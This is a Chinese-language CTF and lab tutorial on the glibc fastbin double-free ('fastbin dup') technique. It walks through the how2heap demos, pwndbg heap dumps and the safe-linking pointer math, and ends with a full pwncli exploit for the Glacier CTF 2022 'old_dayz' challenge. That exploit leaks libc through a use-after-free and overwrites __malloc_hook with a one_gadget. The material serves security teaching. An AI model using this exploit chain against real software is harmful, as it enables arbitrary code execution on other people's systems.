简介
本文参考自how2heap和malloc.c源码进行介绍
漏洞原因
Overflow
,WAF
适用范围:
libc 2.23~至今
- 可以伪造
fastbin chunk
的fd
指针
利用原理
修改fastbin chunk 的fd指针指向fake fastbin chunk,使得链表指向伪造的chunk,从伪造chunk中申请chunk
相关技巧
- 2.34 前可以攻击
__malloc_hook
函数 - 2.35 后需要结合其他技巧,例如
house of corrosion
进行利用
利用效果
把伪造chunk变成fastbin chunk并申请走
实验:how2heap - fastbin dup
实验环境:libc 2.35
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main()
{
setbuf(stdout, NULL);
printf("This file demonstrates a simple double-free attack with fastbins.\n");
printf("Fill up tcache first.\n");
void *ptrs[8];
for (int i=0; i<8; i++) {
ptrs[i] = malloc(8);
}
for (int i=0; i<7; i++) {
free(ptrs[i]);
}
printf("Allocating 3 buffers.\n");
int *a = calloc(1, 8);
int *b = calloc(1, 8);
int *c = calloc(1, 8);
printf("1st calloc(1, 8): %p\n", a);
printf("2nd calloc(1, 8): %p\n", b);
printf("3rd calloc(1, 8): %p\n", c);
printf("Freeing the first one...\n");
free(a);
printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);
printf("So, instead, we'll free %p.\n", b);
free(b);
printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);
printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
a = calloc(1, 8);
b = calloc(1, 8);
c = calloc(1, 8);
printf("1st calloc(1, 8): %p\n", a);
printf("2nd calloc(1, 8): %p\n", b);
printf("3rd calloc(1, 8): %p\n", c);
assert(a == c);
}
为了使用fastbin,首先是填充满tcachebin
从fastbin申请3个chunk:A,B,C
按照顺序进行释放:A,B,A,完成对fastbin的双重释放,同一个chunk被释放两次,意味着在第二次被申请前可以修改chunk指针
0x55555555b390 0x0000000000000000 0x0000000000000021 ........!....... <-- fastbins[0x20][0], fastbins[0x20][0]
0x55555555b3a0 0x000055500000e6eb 0x0000000000000000 ....PU..........
0x55555555b3b0 0x0000000000000000 0x0000000000000021 ........!....... <-- fastbins[0x20][1]
0x55555555b3c0 0x000055500000e6cb 0x0000000000000000 ....PU..........
0x55555555b3d0 0x0000000000000000 0x0000000000000021 ........!.......
0x55555555b3e0 0x0000000000000000 0x0000000000000000 ................
0x55555555b3f0 0x0000000000000000 0x0000000000020c11 ................ <-- Top chunk
pwndbg> fastbins
fastbins
0x20: 0x55555555b390 —▸ 0x55555555b3b0 ◂— 0x55555555b390
接下来就可以控制fastbin的指针了
探究1:为什么可以 double-free ?
在_int_free中对fastbin处理里,有一个双重释放安全检查:
/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
// 如果该fastbin当前指向的chunk和要释放的chunk指针相同,报错,双重释放检测
// 只检测第一个chunk是否和要释放的chunk相同
if (__builtin_expect(old == p, 0))
malloc_printerr("double free or corruption (fasttop)");
// 指针加密
p->fd = PROTECT_PTR(&p->fd, old);
*fb = p;
这个检查和libc 2.23一样,只检查释放的fastbin链表中的第一个chunk和释放的chunk是否是同一个,是就表示为双重释放
要触发这个检查,就需要连续释放两个同样的chunk到fastbin链表中,如果不是连续的,就会存在双重释放问题
总结
通过不连续的释放同一个fastbin chunk可以造成双重释放,从而可以控制fastbin chunk fd指针,使其指向任意位置(需要构造fake fastbin chunk才能申请走)
实验:how2heap - fastbin dup into stack
实验环境:libc 2.35
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main()
{
fprintf(stderr, "This file extends on fastbin_dup.c by tricking calloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n");
fprintf(stderr,"Fill up tcache first.\n");
void *ptrs[7];
for (int i=0; i<7; i++) {
ptrs[i] = malloc(8);
}
for (int i=0; i<7; i++) {
free(ptrs[i]);
}
unsigned long stack_var[4] __attribute__ ((aligned (0x10)));
fprintf(stderr, "The address we want calloc() to return is %p.\n", stack_var + 2);
fprintf(stderr, "Allocating 3 buffers.\n");
int *a = calloc(1,8);
int *b = calloc(1,8);
int *c = calloc(1,8);
fprintf(stderr, "1st calloc(1,8): %p\n", a);
fprintf(stderr, "2nd calloc(1,8): %p\n", b);
fprintf(stderr, "3rd calloc(1,8): %p\n", c);
fprintf(stderr, "Freeing the first one...\n"); //First call to free will add a reference to the fastbin
free(a);
fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);
//Calling free(a) twice renders the program vulnerable to Double Free
fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);
fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
unsigned long *d = calloc(1,8);
fprintf(stderr, "1st calloc(1,8): %p\n", d);
fprintf(stderr, "2nd calloc(1,8): %p\n", calloc(1,8));
fprintf(stderr, "Now the free list has [ %p ].\n", a);
fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that calloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n", a);
stack_var[1] = 0x20;
fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
fprintf(stderr, "Notice that the stored value is not a pointer but a poisoned value because of the safe linking mechanism.\n");
fprintf(stderr, "^ Reference: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/\n");
unsigned long ptr = (unsigned long)stack_var;
unsigned long addr = (unsigned long) d;
/*VULNERABILITY*/
*d = (addr >> 12) ^ ptr;
/*VULNERABILITY*/
fprintf(stderr, "3rd calloc(1,8): %p, putting the stack address on the free list\n", calloc(1,8));
void *p = calloc(1,8);
fprintf(stderr, "4th calloc(1,8): %p\n", p);
assert((unsigned long)p == (unsigned long)stack_var + 0x10);
}
首先依然是填充满tcachebin,依然是申请A,B,C三个chunk,按照A,B,A的顺序释放,完成fastbin dup的过程,此时的堆:
0x55555555b370 0x0000000000000000 0x0000000000000021 ........!....... chunkA <-- fastbins[0x20][0], fastbins[0x20][0]
0x55555555b380 0x000055500000e6cb 0x0000000000000000 ....PU..........
0x55555555b390 0x0000000000000000 0x0000000000000021 ........!....... chunkB <-- fastbins[0x20][1]
0x55555555b3a0 0x000055500000e62b 0x0000000000000000 +...PU..........
0x55555555b3b0 0x0000000000000000
此时进行内存申请相同大小的chunk会从fastbin中分配,第一次申请走的是chunkA,申请后:
0x55555555b370 0x0000000000000000 0x0000000000000021 ........!....... chunkA <-- fastbins[0x20][1]
0x55555555b380 0x0000000000000000 0x0000000000000000 ................
0x55555555b390 0x0000000000000000 0x0000000000000021 ........!....... chunkB <-- fastbins[0x20][0]
0x55555555b3a0 0x000055500000e62b 0x0000000000000000 +...PU..........
0x55555555b3b0 0x0000000000000000
第二次申请的是chunkB,申请后:
0x55555555b370 0x0000000000000000 0x0000000000000021 ........!....... chunkA <-- fastbins[0x20][0]
0x55555555b380 0x0000000000000000 0x0000000000000000 ................
0x55555555b390 0x0000000000000000 0x0000000000000021 ........!.......
0x55555555b3a0 0x0000000000000000 0x0000000000000000 ................
0x55555555b3b0 0x0000000000000000
在进行第三次申请之前,我们可以修改该chunk的fd指针,指向存在fake chunk的地方
现在在栈中构造一个fake chunk:
pwndbg> dq stack_var
00007fffffffdf50 0000000000000000 0000000000000020
00007fffffffdf60 0000000000000000 0000000000000000
00007fffffffdf70 000055555555b2a0 000055555555b2c0
申请的时候会检查next chunk的prev_size吗?后面探究
接下来就是覆盖fd指针指向该位置了:
unsigned long ptr = (unsigned long)stack_var;
unsigned long addr = (unsigned long) d;
/*VULNERABILITY*/
*d = (addr >> 12) ^ ptr;
/*VULNERABILITY*/
覆盖后:
pwndbg> fastbins
fastbins
0x20: 0x7fffffffdf50 ◂— 0x7fffffffd
再次申请的时候就可以申请走这个fake chunk为合法chunk了
探究2:申请 fake fastbin chunk 有什么检查吗?
关于 fastbin chunk 申请的源码分析可以看看参考资料[2]
在libc 2.35 中,申请fastbin chunk的过程简单描述一下就是:(重要的地方已加粗)
-
安全检查:检查 fastbin top chunk 的内存对齐
-
解密该 chunk 的 fd 指针,单链表断链取出该 chunk,fastbin 指向下一个 fastbin chunk
-
安全检查:检查 fastbin top size 对应的 fastbin idx 与当前使用的 idx 是否相同(检查申请的 chunk 大小是否为当前 bin 的大小)
-
如果启用了tcache,进行如下处理
-
计算申请 chunk size 对应 tcache 索引
-
如果对应的 tcachebin 没有满,且该 fastbin 中还有其他的 fastbin chunk
- 依次取出 fastbin chunk
- 安全检查:检查 chunk 的内存对齐
- 解密该 chunk 的 fd 指针
- 将该 chunk 放入 tcachebin 中
-
-
将刚刚取出的 chunk 拿去分配
在 libc 2.23 中,只有一个检查:检查fastbin chunk大小是否匹配对应的fastbin
探究3:覆盖指针时,进行的异或操作是什么?加密解密?
加密解密用的是同一个宏:(fastbin 指针加密在 libc 2.32 引入)
#define PROTECT_PTR(pos, ptr) \
((__typeof(ptr))((((size_t)pos) >> 12) ^ ((size_t)ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)
加密解密用的是异或,异或是用pos右移12位和原本指针进行异或,以刚才的情景为例:
0x55555555b370 0x0000000000000000 0x0000000000000021 ........!....... <-- fastbins[0x20][1]
0x55555555b380 0x0000000000000000 0x0000000000000000 ................
0x55555555b390 0x0000000000000000 0x0000000000000021 ........!....... <-- fastbins[0x20][0]
0x55555555b3a0 0x000055500000e62b 0x0000000000000000 +...PU..........
fastbin[0x20][0]的指针应该是指向fastbin[0x20][1]的地址,这里写的内容是被加密后的,其中:
- ptr是fd指针,是
0x000055500000e62b
- pos是fd指针所在的地址,是
0x55555555b3a0
那么解密过程就是,(0x55555555b3a0 >> 12) ^ 0x000055500000e62b = 0x55555555B370
,刚好是fastbin[0x20][1]的chunk地址
总结
上一个实验是探究了fastbin如何实现双重释放,这个实验则是在上个实验的基础上进行进一步利用,以及关于指针加密的计算过程
实验:Glacier CTF 2022 - old_dayz
实验环境:libc 2.23(2.35的攻击目标发生了变化,之后介绍house of技术的时候再写)
题目分析
main函数:增删改查四个功能很明确
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v3; // edi
size_t v4; // rdx
int buf; // [rsp+Ch] [rbp-4h] BYREF
setup(argc, argv, envp);
while ( 1 )
{
menu();
__isoc99_scanf("%u", &buf);
v3 = (int)stdin;
getc(stdin);
switch ( buf )
{
case 1:
add(); // 创建不大于0x1000的内存申请
break;
case 2:
delete(); // 没清除指针,导致后续的UAF
break;
case 3:
write(v3, &buf, v4); // 存在WAF - 可修改指针
break;
case 4:
view(); // 存在RAF - 可泄露地址
break;
case 5:
exit(0);
default:
exit(42);
}
}
}
add:最多创建15个chunk,大小0x1000以内随便选
__int64 add()
{
__int64 result; // rax
unsigned int idx; // [rsp+Ch] [rbp-114h] BYREF
char buf[256]; // [rsp+10h] [rbp-110h] BYREF
__int64 memptr; // [rsp+110h] [rbp-10h]
size_t size; // [rsp+11Ch] [rbp-4h]
puts("idx: ");
__isoc99_scanf("%u", &idx); // 手动输入idx
getc(stdin);
if ( idx > 0xF ) // 最多15次创建
exit(1);
puts("size: ");
read(0, buf, 0x100uLL);
LODWORD(size) = atoi(buf);
if ( (unsigned int)size > 0x1000 ) // size最大0x1000
exit(0);
result = (__int64)malloc((unsigned int)size); // 申请内存
memptr = result;
if ( result )
{
notes[idx] = memptr; // 保存指针和大小到全局变量
result = (unsigned int)size;
sizes[idx] = size;
}
return result; // 返回大小
}
delete:释放内存不清空指针,有UAF隐患
void delete()
{
unsigned int v0; // [rsp+Ch] [rbp-4h] BYREF
puts("idx: ");
__isoc99_scanf("%u", &v0);
getc(stdin);
if ( v0 > 0xF )
exit(1);
free((void *)notes[v0]); // 释放后没有清0指针和size值
}
write:UAF写漏洞
ssize_t write(int fd, const void *buf, size_t n)
{
unsigned int v4; // [rsp+Ch] [rbp-4h] BYREF
puts("idx: ");
__isoc99_scanf("%u", &v4);
getc(stdin);
if ( v4 > 0xF )
exit(1);
puts("contents: ");
return read(0, (void *)notes[v4], (unsigned int)sizes[v4]);// 用指定的大小去写入指针内容
}
view:UAF读漏洞
int view()
{
unsigned int idx; // [rsp+Ch] [rbp-4h] BYREF
puts("idx: ");
__isoc99_scanf("%u", &idx);
getc(stdin);
if ( idx > 0xF )
exit(1);
return printf("data: %s", (const char *)notes[idx]);// 打印内容
}
leak libc address
对于存在UAF读漏洞的情况,只需要直接创造一个unsortedbin chunk去读就行:
# first - leak libc address
add(0, 0x90)
add(1, 0x68)
dele(0)
leak = show(0)[:6]
leak = unpack(leak,'all')
libc.address = leak -0x3c4b78
success(f"leak address => {hex(leak)}")
success(f"libc address => {hex(libc.address)}")
fastbin dup
流程思路同上述how2heap实验:
# second - fastbin dup
add(2, 0x68)
add(3, 0x68)
dele(1)
dele(2)
dele(1)
add(4, 0x68)
add(5, 0x68)
edit(4, pack(libc.sym.__malloc_hook - 0x23))
add(6, 0x68)
注意:fastbin_index 的计算
搜索到__malloc_hook附近的fake fastbin chunk如下:
Searching for fastbin size fields up to 0x80, starting at 0x7f80128c0a98 resulting in an overlap of 0x7f80128c0b10
FAKE CHUNKS
Fake chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA
Addr: 0x7f80128c0aed
prev_size: 0x80128bf260000000
size: 0x78 (with flag bits: 0x7f)
fd: 0x8012581ea0000000
bk: 0x8012581a7000007f
fd_nextsize: 0x7f
bk_nextsize: 0x00
这里的fake chunk的size字段是0x7f
在申请fastbin的时候的大小检查:
if (__builtin_expect(fastbin_index(chunksize(victim)) != idx, 0))
{
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr(check_action, errstr, chunk2mem(victim), av);
return NULL;
}
这里用的两个宏:
#define chunksize(p) ((p)->size & ~(SIZE_BITS))
#define fastbin_index(sz) \
((((unsigned int)(sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
大小检查的时候,会跳过后4位,也就是说,size 为 0x7f 的 chunk,计算的时候会被当作 0x70 来看
所以这里申请内存准备fastbin dup的时候,要选择0x70的bin
劫持 malloc hook
修改为one gadget:
# write one_gadget to __malloc_hook
add(7, 0x68)
payload = flat({
0x13:pack(libc.address + one_gadgets[0])
})
edit(7, payload)
# trigger __malloc_hook
add(8, 0x68)
完整 EXP
#!/usr/bin/env python3
# Date: 2024-01-19 13:01:13
# Link: https://github.com/RoderickChan/pwncli
# Usage:
# Debug : python3 exp.py debug elf-file-path -t -b malloc
# Remote: python3 exp.py remote elf-file-path ip:port
from pwncli import *
cli_script()
set_remote_libc('libc-2.23.so')
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
one_gadgets: list = get_current_one_gadget_from_libc(more=False)
#CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)
def cmd(i, prompt='>'):
sla(prompt, i)
def add(idx,nb):
cmd('1')
sla('idx: \n',str(idx))
sla('size: \n',str(nb))
#......
def edit(idx,content):
cmd('3')
sla('idx: \n',str(idx))
sla('contents: \n',content)
#......
def show(idx):
cmd('4')
sla('idx: \n',str(idx))
ru('data: ')
return rl()[:-1]
#......
def dele(idx):
cmd('2')
sla('idx: \n',str(idx))
#......
# fastbin dup -> __malloc_hook
# first - leak libc address
add(0, 0x90)
add(1, 0x68)
dele(0)
leak = show(0)[:6]
leak = unpack(leak,'all')
libc.address = leak -0x3c4b78
success(f"leak address => {hex(leak)}")
success(f"libc address => {hex(libc.address)}")
# second - fastbin dup
add(2, 0x68)
add(3, 0x68)
dele(1)
dele(2)
dele(1)
add(4, 0x68)
add(5, 0x68)
edit(4, pack(libc.sym.__malloc_hook - 0x23))
add(6, 0x68)
# write one_gadget to __malloc_hook
add(7, 0x68)
payload = flat({
0x13:pack(libc.address + one_gadgets[0])
})
edit(7, payload)
# trigger __malloc_hook
add(8, 0x68)
ia()
参考资料
- [0] how2heap/glibc_2.35/fastbin_dup.c at master · shellphish/how2heap (github.com)
- [1] how2heap/glibc_2.35/fastbin_dup_into_stack.c at master · shellphish/how2heap (github.com)
- [2] [libc 2.35 源码学习] 申请内存 fastbin - 我可是会飞的啊 (kn0sky.com)
- [3] GlacierCTF 2022(堆 — Fastbin Dup)|by trustie_rity |中等 --- GlacierCTF 2022 (Heap — Fastbin Dup) | by trustie_rity | Medium
- [4] malloc.c 源码(2.23和2.35)